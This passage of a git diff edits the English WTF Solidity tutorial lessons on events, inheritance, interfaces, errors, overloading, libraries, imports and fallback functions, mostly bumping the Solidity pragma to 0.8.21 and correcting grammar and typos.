transaction fails when the `changeOwner` function is called by other addresses. ![](img/11-4_en.jpg) diff --git a/Languages/en/12_Event_en/Event.sol b/Languages/en/12_Event_en/Event.sol index 09bd5667f..6906fec3d 100644 --- a/Languages/en/12_Event_en/Event.sol +++ b/Languages/en/12_Event_en/Event.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Events { // define _balances mapping variable to record number of tokens held at each address mapping(address => uint256) public _balances; diff --git a/Languages/en/12_Event_en/readme.md b/Languages/en/12_Event_en/readme.md index 7f9f68262..89d60dee9 100644 --- a/Languages/en/12_Event_en/readme.md +++ b/Languages/en/12_Event_en/readme.md @@ -19,27 +19,27 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit ----- -In this section, we introduce `event` in Solidity, using transfer events in ERC20 tokens as an example . +In this section, we introduce `event` in Solidity, using transfer events in ERC20 tokens as an example. ## Events -The event in `solidity` are the transaction logs stored on the `EVM` (Ethereum Virtual Machine). They can be emitted during function calls and are accessible with the contract address. Events have two characteristics: +The events in `solidity` are the transaction logs stored on the `EVM` (Ethereum Virtual Machine). They can be emitted during function calls and are accessible with the contract address. Events have two characteristics: - Responsive: Applications (e.g. [`ether.js`](https://learnblockchain.cn/docs/ethers.js/api-contract.html#id18)) can subscribe and listen to these events through `RPC` interface and respond at frontend. -- Economical: It is cheap to store data in events, costing about 2,000 `gas` each. In comparison, store a new variable on-chain takes at least 20,000 `gas`. +- Economical: It is cheap to store data in events, costing about 2,000 `gas` each. In comparison, storing a new variable on-chain takes at least 20,000 `gas`. ### Declare events -The events are declared with the `event` keyword, followed by event name, then the type and name of each parameter to be recorded. Let's take the `Transfer` event from the `ERC20` token contract as an example: +The events are declared with the `event` keyword, followed by the event name, and then the type and name of each parameter to be recorded. Let's take the `Transfer` event from the `ERC20` token contract as an example: ```solidity event Transfer(address indexed from, address indexed to, uint256 value); ``` -`Transfer` event records three parameters: `from`,`to`, and `value`,which correspond to the address where the tokens are sent, the receiving address, and the number of tokens being transferred. Parameter `from` and `to` are marked with `indexed` keywords, which will be stored at a special data structure known as `topics` and easily queried by programs. +`Transfer` event records three parameters: `from`,`to`, and `value`, which correspond to the address where the tokens are sent, the receiving address, and the number of tokens being transferred. Parameters `from` and `to` are marked with `indexed` keywords, which will be stored in a special data structure known as `topics` and easily queried by programs. ### Emit events We can emit events in functions. In the following example, each time the `_transfer()` function is called, `Transfer` events will be emitted and corresponding parameters will be recorded. ```solidity - // define _transfer function,execute transfer logic + // define _transfer function, execute transfer logic function _transfer( address from, address to, @@ -64,7 +64,7 @@ EVM uses `Log` to store Solidity events. Each log contains two parts: `topics` a ### `Topics` -`Topics` is used to describe events. Each event contains a maximum of 4 `topics`. Typically, the first `topic` is the event hash: the hash of the event signature. The event hash of `Transfer` event is calculated as follows: +`Topics` is used to describe events. Each event contains a maximum of 4 `topics`. Typically, the first `topic` is the event hash: the hash of the event signature. The event hash of the `Transfer` event is calculated as follows: ```solidity keccak256("Transfer(addrses,address,uint256)") @@ -72,13 +72,13 @@ keccak256("Transfer(addrses,address,uint256)") //0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef ``` -Besides event hash, `topics` can include 3 `indexed` parameters, such as the `from` and `to` parameters in `Transfer` event. The anonymous event is special: it does not have a event name and can have 4 `indexed` parameters at maximum. +Besides event hash, `topics` can include 3 `indexed` parameters, such as the `from` and `to` parameters in the `Transfer` event. The anonymous event is special: it does not have an event name and can have 4 `indexed` parameters at maximum. -`indexed` parameters can be understood as the indexed "key" for events, which can be easily queried by programs. The size of each `indexed` parameter is 32 bytes. For the parameter is larger than 32 bytes, such as `array` and `string`, the hash of the underlying data is stored. +`indexed` parameters can be understood as the indexed "key" for events, which can be easily queried by programs. The size of each `indexed` parameter is 32 bytes. For the parameters larger than 32 bytes, such as `array` and `string`, the hash of the underlying data is stored. ### `Data` -Non-indexed parameters will be stored in the `data` section of the log. They can be interpreted as "value" of the event and can't be retrieved directly. But they can store data with larger size. Therefore, `data` section can be used to store complex data structures, such as `array` and `string`. Moreovrer, `data` consumes less gas compared to `topic`. +Non-indexed parameters will be stored in the `data` section of the log. They can be interpreted as the "value" of the event and can't be retrieved directly. But they can store data with larger sizes. Therefore, the `data` section can be used to store complex data structures, such as `array` and `string`. Moreover, `data` consumes less gas compared to `topic`. ## Remix Demo Let's take `Event.sol` contract as an example. @@ -91,17 +91,17 @@ Let's take `Event.sol` contract as an example. 3. Check transaction details to check the emitted event. -![](./img/12-1_en.jpg) +![](./img/12-2_en.jpg) ### Query event on etherscan -Etherscan is a block explorer that lets you view public data on transactions, smart contracts, and more on the Ethereum blockchain. First, I deployed the contract to an ethereum testnet (Rinkeby or Goerli). Second, I called the `_transfer` function to transfer 100 tokens. After that, you can check the transaction details on `etherscan`:[URL](https://rinkeby.etherscan.io/tx/0x8cf87215b23055896d93004112bbd8ab754f081b4491cb48c37592ca8f8a36c7) +Etherscan is a block explorer that lets you view public data on transactions, smart contracts, and more on the Ethereum blockchain. First, I deployed the contract to an Ethereum testnet (Rinkeby or Goerli). Second, I called the `_transfer` function to transfer 100 tokens. After that, you can check the transaction details on `etherscan`:[URL](https://rinkeby.etherscan.io/tx/0x8cf87215b23055896d93004112bbd8ab754f081b4491cb48c37592ca8f8a36c7) Click `Logs` button to check the details of the event: ![details of event](https://images.mirror-media.xyz/publication-images/gx6_wDMYEl8_Gc_JkTIKn.png?height=980&width=1772) -There are 3 elements in `Topics`: `[0]` is hash of the event, `[1]` and `[2]` are the `indexed` parameters defined in `Transfer` event (`from` and `to`). The element in `Data` is the non-indexed parameter `amount`. +There are 3 elements in `Topics`: `[0]` is the hash of the event, `[1]` and `[2]` are the `indexed` parameters defined in the `Transfer` event (`from` and `to`). The element in `Data` is the non-indexed parameter `amount`. ## Summary In this lecture, we introduced how to use and query events in `solidity`. Many on-chain analysis tools are based on solidity events, such as `Dune Analytics`. diff --git a/Languages/en/13_Inheritance_en/Inheritance.sol b/Languages/en/13_Inheritance_en/Inheritance.sol index fc69db250..129c62339 100644 --- a/Languages/en/13_Inheritance_en/Inheritance.sol +++ b/Languages/en/13_Inheritance_en/Inheritance.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // Inheritance contract contract Grandfather { diff --git a/Languages/en/13_Inheritance_en/ModifierInheritance.sol b/Languages/en/13_Inheritance_en/ModifierInheritance.sol index dfab0253c..3da932d98 100644 --- a/Languages/en/13_Inheritance_en/ModifierInheritance.sol +++ b/Languages/en/13_Inheritance_en/ModifierInheritance.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Base1 { modifier exactDividedBy2And3(uint _a) virtual { diff --git a/Languages/en/13_Inheritance_en/readme.md b/Languages/en/13_Inheritance_en/readme.md index 45932ee68..264d98542 100644 --- a/Languages/en/13_Inheritance_en/readme.md +++ b/Languages/en/13_Inheritance_en/readme.md @@ -22,19 +22,19 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit In this section, we introduce `inheritance` in Solidity, including simple inheritance, multiple inheritance, and inheritance of modifiers and constructors. ## Inheritance -Inheritance is one of the core concepts in object-oriented programming, which can significantly reduce code redundancy. It is a mechanism where you can to derive a class from another class for a hierarchy of classes that share a set of attributes and methods. In solidity, smart contracts can be viewed objects, which supports inheritance. +Inheritance is one of the core concepts in object-oriented programming, which can significantly reduce code redundancy. It is a mechanism where you can derive a class from another class for a hierarchy of classes that share a set of attributes and methods. In solidity, smart contracts can be viewed as objects, which support inheritance. ### Rules -There are two important keywards for inheritance in Solidity: +There are two important keywords for inheritance in Solidity: - `virtual`: If the functions in the parent contract are expected to be overridden in its child contracts, they should be declared as `virtual`. - `override`:If the functions in the child contract override the functions in its parent contract, they should be declared as `override`. -**Note 1**: If a function both overrides and is expected to be overridden, it should be labeled as `virtual override`. +**Note 1**: If a function both overrides and is expected to be overridden, it should be labelled as `virtual override`. -**Note 2**: If a `public` state variable is labeled as `override`, its `getter` function will be overridden. For example: +**Note 2**: If a `public` state variable is labelled as `override`, its `getter` function will be overridden. For example: ```solidity mapping(address => uint256) public override balanceOf; @@ -42,7 +42,7 @@ mapping(address => uint256) public override balanceOf; ### Simple inheritance -Let's start by writing a simple `Grandfather` contract, which contains 1 `Log` event and 3 functions: `hip()`, `pop()`, `grandfather()`, which outputs a string `"Grandfather"`. +Let's start by writing a simple `Grandfather` contract, which contains 1 `Log` event and 3 functions: `hip()`, `pop()`, `Grandfather()`, which outputs a string `"Grandfather"`. ```solidity contract Grandfather { @@ -63,12 +63,12 @@ contract Grandfather { } ``` -Let's define another contract called `Father`, which inherits the `Grandfather` contract. The syntax for inheritance is `contract Father is Grandfather`, which is very intuitive. In the `Father` contract, we rewrote the functions `hip()` and `pop()` with the `override` keyword, changing their output to `"Father"`. We also added a new function called `father`, which output a string `"Father"`. +Let's define another contract called `Father`, which inherits the `Grandfather` contract. The syntax for inheritance is `contract Father is Grandfather`, which is very intuitive. In the `Father` contract, we rewrote the functions `hip()` and `pop()` with the `override` keyword, changing their output to `"Father"`. We also added a new function called `father`, which outputs a string `"Father"`. ```solidity contract Father is Grandfather{ - // Apply inheritance to the following 2 functions: hip() and pop(),then change the log value to "Father". + // Apply inheritance to the following 2 functions: hip() and pop(), then change the log value to "Father". function hip() public virtual override{ emit Log("Father"); } @@ -83,14 +83,14 @@ contract Father is Grandfather{ } ``` -After deploying the contract, we can see that `Father` contract contains 4 functions. The outputs of `hip()` and `pop()` are successfully rewritten with output `"Father"`, while the output of the inherited `grandfather()` function is still `"Gatherfather"`. +After deploying the contract, we can see that `Father` contract contains 4 functions. The outputs of `hip()` and `pop()` are successfully rewritten with output `"Father"`, while the output of the inherited `grandfather()` function is still `"Grandfather"`. ### Multiple inheritance A solidity contract can inherit multiple contracts. The rules are: -1. For multiple inheritance, parent contracts should be ordered by seniority, from the highest to the lowest. For example: `contract Son is Gatherfather, Father`. A error will be thrown if the order is not correct. +1. For multiple inheritance, parent contracts should be ordered by seniority, from the highest to the lowest. For example: `contract Son is Grandfather, Father`. A error will be thrown if the order is not correct. 2. If a function exists in multiple parent contracts, it must be overridden in the child contract, otherwise an error will occur. @@ -99,7 +99,7 @@ A solidity contract can inherit multiple contracts. The rules are: Example: ```solidity contract Son is Grandfather, Father{ - // Apply inheritance to the following 2 functions: hip() and pop(),then change the log value to "Son". + // Apply inheritance to the following 2 functions: hip() and pop(), then change the log value to "Son". function hip() public virtual override(Grandfather, Father){ emit Log("Son"); } @@ -109,11 +109,11 @@ contract Son is Grandfather, Father{ } ``` -After deploying the contract, we can see that we successfully rewrote the `hip()` and `pop()` functions in `Son` contract, changing the output to `"Son"`. While the `grandfather()` and `father()` functions inherited from its parent contracts remain unchanged. +After deploying the contract, we can see that we successfully rewrote the `hip()` and `pop()` functions in the `Son` contract, changing the output to `"Son"`. While the `Grandfather()` and `father()` functions inherited from its parent contracts remain unchanged. ### Inheritance of modifiers -Likewise, modifiers in Solidity can be inherited as well. Rules for modifier inheritance are similar as the function inheritance, using the `virtual` and `override` keywords. +Likewise, modifiers in Solidity can be inherited as well. Rules for modifier inheritance are similar to the function inheritance, using the `virtual` and `override` keywords. ```solidity contract Base1 { @@ -138,7 +138,7 @@ contract Identifier is Base1 { } ``` -`Identifier` contract can directly use the `exactDividedBy2And3` modifier, because it inherits `Base1` contract. We can also rewrite the modifier in the contract: +`Identifier` contract can directly use the `exactDividedBy2And3` modifier because it inherits the `Base1` contract. We can also rewrite the modifier in the contract: ```solidity modifier exactDividedBy2And3(uint _a) override { @@ -189,7 +189,7 @@ There are two ways for a child contract to call the functions of the parent cont } ``` -2. `super` keyword:The child contract can use the `super.functionName()` to call the function in the neareast parent contract in the inheritance hierarchy. Solidity inheritance are declared in a right-to-left order: for `contract Son is Grandfather, Father`, `Father` contract is closer than the `Grandfather` contract. Thus, `super.pop()` in the `Son` contract will call `Father.pop()` but not `Grandfather.pop()`. +2. `super` keyword:The child contract can use the `super.functionName()` to call the function in the neareast parent contract in the inheritance hierarchy. Solidity inheritance is declared in a right-to-left order: for `contract Son is Grandfather, Father`, the `Father` contract is closer than the `Grandfather` contract. Thus, `super.pop()` in the `Son` contract will call `Father.pop()` but not `Grandfather.pop()`. ```solidity function callParentSuper() public{ @@ -200,11 +200,11 @@ There are two ways for a child contract to call the functions of the parent cont ### Diamond inheritance -In Object-Oriented Programming, the diamond inheritance refers the scenario that a derived class has two or more base classes. +In Object-Oriented Programming, diamond inheritance refers to the scenario in which a derived class has two or more base classes. When using the `super` keyword on a diamond inheritance chain, it should be noted that it will call the relevant function of each contract in the inheritance chain, not just the nearest parent contract. -First, we write a base contract called `God`. Then we write two contracts `Adam` and `Eve` inheriting from `God` contract. Lastly, we write another contract `people` inheriting from `Adam` and `Eve`. Each contract has two functions, `foo()` and `bar()`: +First, we write a base contract called `God`. Then we write two contracts `Adam` and `Eve` inheriting from the `God` contract. Lastly, we write another contract `people` inheriting from `Adam` and `Eve`. Each contract has two functions, `foo()` and `bar()`: ```solidity // SPDX-License-Identifier: MIT diff --git a/Languages/en/14_Interface_en/AbstractDemo.sol b/Languages/en/14_Interface_en/AbstractDemo.sol index 69a5273d1..98cda59c8 100644 --- a/Languages/en/14_Interface_en/AbstractDemo.sol +++ b/Languages/en/14_Interface_en/AbstractDemo.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; abstract contract Base{ string public name = "Base"; function getAlias() public pure virtual returns(string memory); diff --git a/Languages/en/14_Interface_en/Interface.sol b/Languages/en/14_Interface_en/Interface.sol index fecfdee92..04135bf76 100644 --- a/Languages/en/14_Interface_en/Interface.sol +++ b/Languages/en/14_Interface_en/Interface.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; abstract contract InsertionSort{ function insertionSort(uint[] memory a) public pure virtual returns(uint[] memory); diff --git a/Languages/en/14_Interface_en/InterfaceDemo.sol b/Languages/en/14_Interface_en/InterfaceDemo.sol index ddc31b9d1..5ce97d21d 100644 --- a/Languages/en/14_Interface_en/InterfaceDemo.sol +++ b/Languages/en/14_Interface_en/InterfaceDemo.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; interface Base { function getFirstName() external pure returns(string memory); function getLastName() external pure returns(string memory); diff --git a/Languages/en/14_Interface_en/readme.md b/Languages/en/14_Interface_en/readme.md index d6268142c..6dfe0fac5 100644 --- a/Languages/en/14_Interface_en/readme.md +++ b/Languages/en/14_Interface_en/readme.md @@ -24,7 +24,7 @@ In this section, we will introduce the `abstract` and `interface` contracts in S ## Abstract contract -If a contract contains at least one unimplemented function (no contents in the function body `{}`), it must be labeled as `abstract`; Otherwise it will not compile. Moreover, the unimplemented function needs to be labeled as `virtual`. +If a contract contains at least one unimplemented function (no contents in the function body `{}`), it must be labelled as `abstract`; Otherwise it will not compile. Moreover, the unimplemented function needs to be labelled as `virtual`. Take our previous [Insertion Sort Contract](https://github.com/AmazingAng/WTFSolidity/tree/main/07_InsertionSort) as an example, if we haven't figured out how to implement the insertion sort function, we can mark the contract as `abstract`, and let others overwrite it in the future. @@ -36,7 +36,7 @@ abstract contract InsertionSort{ ## Interface -The `interface` contract is similar to the `abstract` contract, but it requires no functions are implemented. Rules of the interface: +The `interface` contract is similar to the `abstract` contract, but it requires no functions to be implemented. Rules of the interface: 1. Cannot contain state variables. 2. Cannot contain constructors. @@ -44,8 +44,8 @@ The `interface` contract is similar to the `abstract` contract, but it requires 4. All functions must be external and cannot have contents in the function body. 5. The contract that inherits the interface contract must implement all the functions defined in it. -Although the interface does not implement any functionality, it is the skeleton of smart contracts. Interface -defines what the contract does and how to interact with them: if a smart contract implements an interface (like `ERC20` or `ERC721`), +Although the interface does not implement any functionality, it is the skeleton of smart contracts. The interface +defines what the contract does and how to interact with it: if a smart contract implements an interface (like `ERC20` or `ERC721`), other Dapps and smart contracts will know how to interact with it. Because it provides two important pieces of information: 1. The `bytes4` selector for each function in the contract, and the function signatures `function name (parameter type)`. @@ -55,8 +55,8 @@ In addition, the interface is equivalent to the contract `ABI` (Application Bina and they can be converted to each other: compiling the interface contract will give you the contract `ABI`, and [abi-to-sol tool](https://gnidan.github.io/ abi-to-sol/) will convert the `ABI` back to the interface contract. -We take `IERC721` contract, the interface for the `ERC721` token standard, as an example. It consists of 3 events and 9 functions, -which all `ERC721` contracts need to implement. In interface, each function ends with `;` instead of the function body `{ }`. Moreover, every function in interface contract is by default `virtual`, so you do not need to label function as `virtual` explicitly. +We take the `IERC721` contract, the interface for the `ERC721` token standard, as an example. It consists of 3 events and 9 functions, +which all `ERC721` contracts need to implement. In the interface, each function ends with `;` instead of the function body `{ }`. Moreover, every function in the interface contract is by default `virtual`, so you do not need to label the function as `virtual` explicitly. ```solidity interface IERC721 is IERC165 { @@ -88,7 +88,7 @@ interface IERC721 is IERC165 { `IERC721` contains 3 events. - `Transfer` event: emitted during transfer, records the sending address `from`, the receiving address `to`, and `tokenid`. - `Approval` event: emitted during approval, records the token owner address `owner`, the approved address `approved`, and `tokenid`. -- `ApprovalForAll` event: emitted during batch approval, records the owner address `owner` of batch approval, the approved address `operator`, and whether the approve is enabled or disabled `approved` . +- `ApprovalForAll` event: emitted during batch approval, records the owner address `owner` of batch approval, the approved address `operator`, and whether the approve is enabled or disabled `approved`. ### IERC721 Function `IERC721` contains 3 events. @@ -107,7 +107,7 @@ interface IERC721 is IERC165 { If we know that a contract implements the `IERC721` interface, we can interact with it without knowing its detailed implementation. The Bored Ape Yacht Club `BAYC` is an `ERC721` NFT, which implements all functions in the `IERC721` interface. We can interact with the `BAYC` contract with the `IERC721` interface and its contract address, without knowing its source code. -For example, we can use `balanceOf()` to query the `BAYC` balance of an address, or use `safeTransferFrom()` to transfer a `BAYC` NFT. +For example, we can use `balanceOf()` to query the `BAYC` balance of an address or use `safeTransferFrom()` to transfer a `BAYC` NFT. ```solidity @@ -135,4 +135,4 @@ contract interactBAYC { ## Summary In this chapter, we introduced the `abstract` and `interface` contracts in Solidity, which are used to write contract templates and reduce code redundancy. -We also learned the interface of `ERC721` token standard and how to interact with the `BAYC` contract using interface. +We also learned the interface of the `ERC721` token standard and how to interact with the `BAYC` contract using the interface. diff --git a/Languages/en/15_Errors_en/Error.sol b/Languages/en/15_Errors_en/Error.sol index 2dc23c578..7118e782c 100644 --- a/Languages/en/15_Errors_en/Error.sol +++ b/Languages/en/15_Errors_en/Error.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // 自定义error error TransferNotOwner(); diff --git a/Languages/en/15_Errors_en/readme.md b/Languages/en/15_Errors_en/readme.md index 4db3224e1..fd654c3ba 100644 --- a/Languages/en/15_Errors_en/readme.md +++ b/Languages/en/15_Errors_en/readme.md @@ -26,14 +26,14 @@ In this chapter, we will introduce three ways to throw exceptions in solidity: ` Solidity has many functions for error handling. Errors can occur at compile time or runtime. ### Error -`error` statement is a new feature in solidity `0.8`. It saves gas and informs users why the operation failed. It is the recommended way to throw error in solidity. -Custom errors are defined using the error statement, which can be used inside and outside of contracts. Below, we created a `TransferNotOwner` error, which will throw an error when the caller is not the token `owner` during transfer: +The `error` statement is a new feature in solidity `0.8`. It saves gas and informs users why the operation failed. It is the recommended way to throw errors in solidity. +Custom errors are defined using the error statement, which can be used inside and outside of contracts. Below, we created a `TransferNotOwner` error, which will throw an error when the caller is not the token `owner` during the transfer: ```solidity error TransferNotOwner(); // custom error ``` -In functions, `error` must be used together with `revert` statement. +In functions, `error` must be used together with the `revert` statement. ```solidity function transferOwner1(uint256 tokenId, address newOwner) public { @@ -46,7 +46,7 @@ function transferOwner1(uint256 tokenId, address newOwner) public { The `transferOwner1()` function will check if the caller is the owner of the token; if not, it will throw a `TransferNotOwner` error and revert the transaction. ### Require -`require` statement was the most commonly used method for error handling prior to solidity `0.8`. It is still popular among developers. +The `require` statement was the most commonly used method for error handling prior to solidity `0.8`. It is still popular among developers. Syntax of `require`: ``` @@ -66,10 +66,10 @@ function transferOwner2(uint256 tokenId, address newOwner) public { ``` ### Assert -The `assert` statement is generally used for debugging purposes, because it does not include error message to inform the user. +The `assert` statement is generally used for debugging purposes because it does not include an error message to inform the user. Syntax of `assert`: ```solidity -`assert(condition); +assert(condition); ``` If the condition is not met, an error will be thrown. @@ -97,7 +97,7 @@ After deploying `Error` contract. ![15-3.png](./img/15-3.png) -## Gas comparison +## Gas Comparison Let's compare the gas consumption of `error`, `require`, and `assert`. You can find the gas consumption for each function call with the Debug button of the remix console: @@ -106,8 +106,8 @@ You can find the gas consumption for each function call with the Debug button of 3. **gas for `assert`**:24473 `wei` We can see that the `error` consumes the least gas, followed by the `assert`, while the `require` consumes the most gas! -Therefore, `error` not only informs the user on the error message, but also saves gas. +Therefore, `error` not only informs the user of the error message but also saves gas. ## Summary -In this chapter, we introduced 3 statements to handle errors in Solidity: `error`, `require`, and `assert`. After comparing their gas consumption, `error` statement is the cheapest, while `require` has the highest gas consumption. +In this chapter, we introduced 3 statements to handle errors in Solidity: `error`, `require`, and `assert`. After comparing their gas consumption, the `error` statement is the cheapest, while `require` has the highest gas consumption. diff --git a/Languages/en/16_Overloading_en/Overloading.sol b/Languages/en/16_Overloading_en/Overloading.sol index 266b9fa86..a36af4518 100644 --- a/Languages/en/16_Overloading_en/Overloading.sol +++ b/Languages/en/16_Overloading_en/Overloading.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Overload { function saySomething() public pure returns(string memory){ return("Nothing"); diff --git a/Languages/en/16_Overloading_en/readme.md b/Languages/en/16_Overloading_en/readme.md index c3603681b..a527fcaa0 100644 --- a/Languages/en/16_Overloading_en/readme.md +++ b/Languages/en/16_Overloading_en/readme.md @@ -19,9 +19,9 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit ----- ## Overloading -`solidity` allows functions to be overloaded(`overloading`).That is, functions with the same name but different input parameter types +`solidity` allows functions to be overloaded(`overloading`). That is, functions with the same name but different input parameter types can exist at the same time, and they are regarded as different functions. -Note that `solidity` does not allow modifier (`modifier`) to be overloaded. +Note that `solidity` does not allow the modifier (`modifier`) to be overloaded. ### Function Overloading For example, we could define two functions both called `saySomething()`: @@ -40,14 +40,14 @@ function saySomething(string memory something) public pure returns(string memory After compiling, all overloading functions become different function selectors due to different parameter types. For the specific content of the function selector, please refer to [WTF Solidity Tutorial: 29. Function Selector](https://github.com/AmazingAng/WTFSolidity/tree/main/29_Selector). -Taking the `Overloading.sol` contract as an example, after compiling and deploying on Remix. +Take the `Overloading.sol` contract as an example, after compiling and deploying on Remix. After calling the overloading functions `saySomething()` and `saySomething(string memory something)` respectively, we can see different results, for the functions are regarded as different ones. ![](./img/16-1.jpeg) ### Argument Matching -When the overloading function is called, the variable type will be matched between input parameter and function parameters. +When the overloading function is called, the variable type will be matched between the input parameter and function parameters. An error will be reported if there are multiple matching overloading functions, The following example has two functions called `f()`, one have `uint8` parameter and the other get `uint256`: @@ -64,7 +64,7 @@ For `50` can be converted to `uint8` as well as `uint256`, so it will report an ## Summary -In this lecture, we introduce the basic usage of overloading function in `solidity`: +In this lecture, we introduce the basic usage of the overloading function in `solidity`: functions with the same name but different input parameter types can exist at the same time, which are treated as different functions. diff --git a/Languages/en/17_Library_en/Library.sol b/Languages/en/17_Library_en/Library.sol index 05653d235..957d22c00 100644 --- a/Languages/en/17_Library_en/Library.sol +++ b/Languages/en/17_Library_en/Library.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; diff --git a/Languages/en/17_Library_en/readme.md b/Languages/en/17_Library_en/readme.md index 8036e96c3..b2da431c6 100644 --- a/Languages/en/17_Library_en/readme.md +++ b/Languages/en/17_Library_en/readme.md @@ -8,7 +8,7 @@ tags: - using for --- -# WTF Solidity Tutorial: 17. Library : Standing on the shoulders of giants +# WTF Solidity Tutorial: 17. Library: Standing on the shoulders of giants Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. @@ -109,7 +109,7 @@ It mainly contains two functions, `toString()` converts `uint256` to `string`, `toHexString()` converts `uint256` to `hexadecimal`, and then converts it to `string`. ### How to use library contracts -We use the toHexString() function in String library function to demonstrate two ways of using the functions in the library contract. +We use the toHexString() function in the String library function to demonstrate two ways of using the functions in the library contract. **1. `using for` command** @@ -119,7 +119,6 @@ which can be called directly. Note: When calling, this variable will be passed t ```solidity // Using the library with the "using for" - { using Strings for uint256; function getString1(uint256 _number) public pure returns(string memory){ // Library functions are automatically added as members of uint256 variables @@ -142,9 +141,8 @@ proving that we call the library function successfully! ## Summary In this lecture, we use the referenced library function `String` of `ERC721` as an example to introduce the library function (`Library`) in `solidity`. -99% of developers have no need to write library contracts themselves, -who can use the ones written by masters. -The only thing we need to know is that which library contract to use and where the library is suitable. +99% of developers do not need to write library contracts themselves, they can use the ones written by masters. +The only thing we need to know is which library contract to use and where the library is most suitable. Some commonly used libraries are: 1. [String](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Strings.sol):Convert `uint256` to `String` diff --git a/Languages/en/18_Import_en/Yeye.sol b/Languages/en/18_Import_en/Yeye.sol index dc4af0461..537305813 100644 --- a/Languages/en/18_Import_en/Yeye.sol +++ b/Languages/en/18_Import_en/Yeye.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // Contract "Yeye" in Lecture 10--Contract Inheritance contract Yeye { diff --git a/Languages/en/18_Import_en/import.sol b/Languages/en/18_Import_en/import.sol index 4cce90645..8d521930f 100644 --- a/Languages/en/18_Import_en/import.sol +++ b/Languages/en/18_Import_en/import.sol @@ -1,13 +1,13 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // Import via relative location of file import './Yeye.sol'; // Import specific contracts via `global symbols` import {Yeye} from './Yeye.sol'; // Import by URL -import '@openzeppelin/contracts/utils/Address.sol'; -// Import "oppenzepplin" contract +import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol'; +// Import "OpenZeppelin" contract import '@openzeppelin/contracts/access/Ownable.sol'; contract Import { diff --git a/Languages/en/18_Import_en/readme.md b/Languages/en/18_Import_en/readme.md index 04cf9ee2f..ef504cbed 100644 --- a/Languages/en/18_Import_en/readme.md +++ b/Languages/en/18_Import_en/readme.md @@ -19,7 +19,7 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit ----- -`solidity` supports the use of `import` keyword to import global symbols in other contracts +`solidity` supports the use of the `import` keyword to import global symbols in other contracts (simply understood as external source code), making development more modular. Generally, if not specified, all global symbols of the imported file will be imported into the current global scope. @@ -42,7 +42,7 @@ import './Yeye.sol'; import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol'; ``` -- Import via `npm` directory. For example: +- Import via the `npm` directory. For example: ```solidity import '@openzeppelin/contracts/access/Ownable.sol'; ``` diff --git a/Languages/en/19_Fallback_en/Fallback.sol b/Languages/en/19_Fallback_en/Fallback.sol index 6b1392fb8..d50dce5e4 100644 --- a/Languages/en/19_Fallback_en/Fallback.sol +++ b/Languages/en/19_Fallback_en/Fallback.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Fallback { /* diff --git a/Languages/en/19_Fallback_en/readme.md b/Languages/en/19_Fallback_en/readme.md index 0569da33e..f04bee9af 100644 --- a/Languages/en/19_Fallback_en/readme.md +++ b/Languages/en/19_Fallback_en/readme.md @@ -27,14 +27,14 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit Note⚠️: Prior to solidity 0.6.x, only `fallback()` was available, for receiving Ether and as a fallback function. After version 0.6, `fallback()` was separated to `receive()` and `fallback()`. -In this tutorial we focus on receiving Ether. +In this tutorial, we focus on receiving Ether. ## Receiving ETH Function: receive() The `receive()` function is solely used for receiving `ETH`. A contract can have at most one `receive()` function, declared not like others, no `function` keyword is needed: `receive() external payable { ... }`. This function cannot have arguments, cannot return anything and must have `external` visibility and `payable` state mutability. -`receive()` is executed on plain Ether transfers to a contract. You should not perform too much operations in `receive()`, when sending Ether with `send` or `transfer`, only 2300 `gas` is available, complicated operations will trigger `Out of Gas` error; instead you should use `call` function which can specify `gas` limit. (We will cover all three ways of sending Ether later). +`receive()` is executed on plain Ether transfers to a contract. You should not perform too many operations in `receive()` when sending Ether with `send` or `transfer`, only 2300 `gas` is available, and complicated operations will trigger an `Out of Gas` error; instead, you should use `call` function which can specify `gas` limit. (We will cover all three ways of sending Ether later). -We can send an `event` in `receive()` function, for example: +We can send an `event` in the `receive()` function, for example: ```solidity // Declare event event Received(address Sender, uint Value); @@ -44,7 +44,7 @@ We can send an `event` in `receive()` function, for example: } ``` -Some malicious contracts intentionally add codes in `receive()` (`fallback()` prior to Solidity 0.6.x), which consume massive `gas` or cause the transaction get reverted. So that will make some refund or transfer function fail, pay attention to such risks when writing such operations. +Some malicious contracts intentionally add codes in `receive()` (`fallback()` prior to Solidity 0.6.x), which consume massive 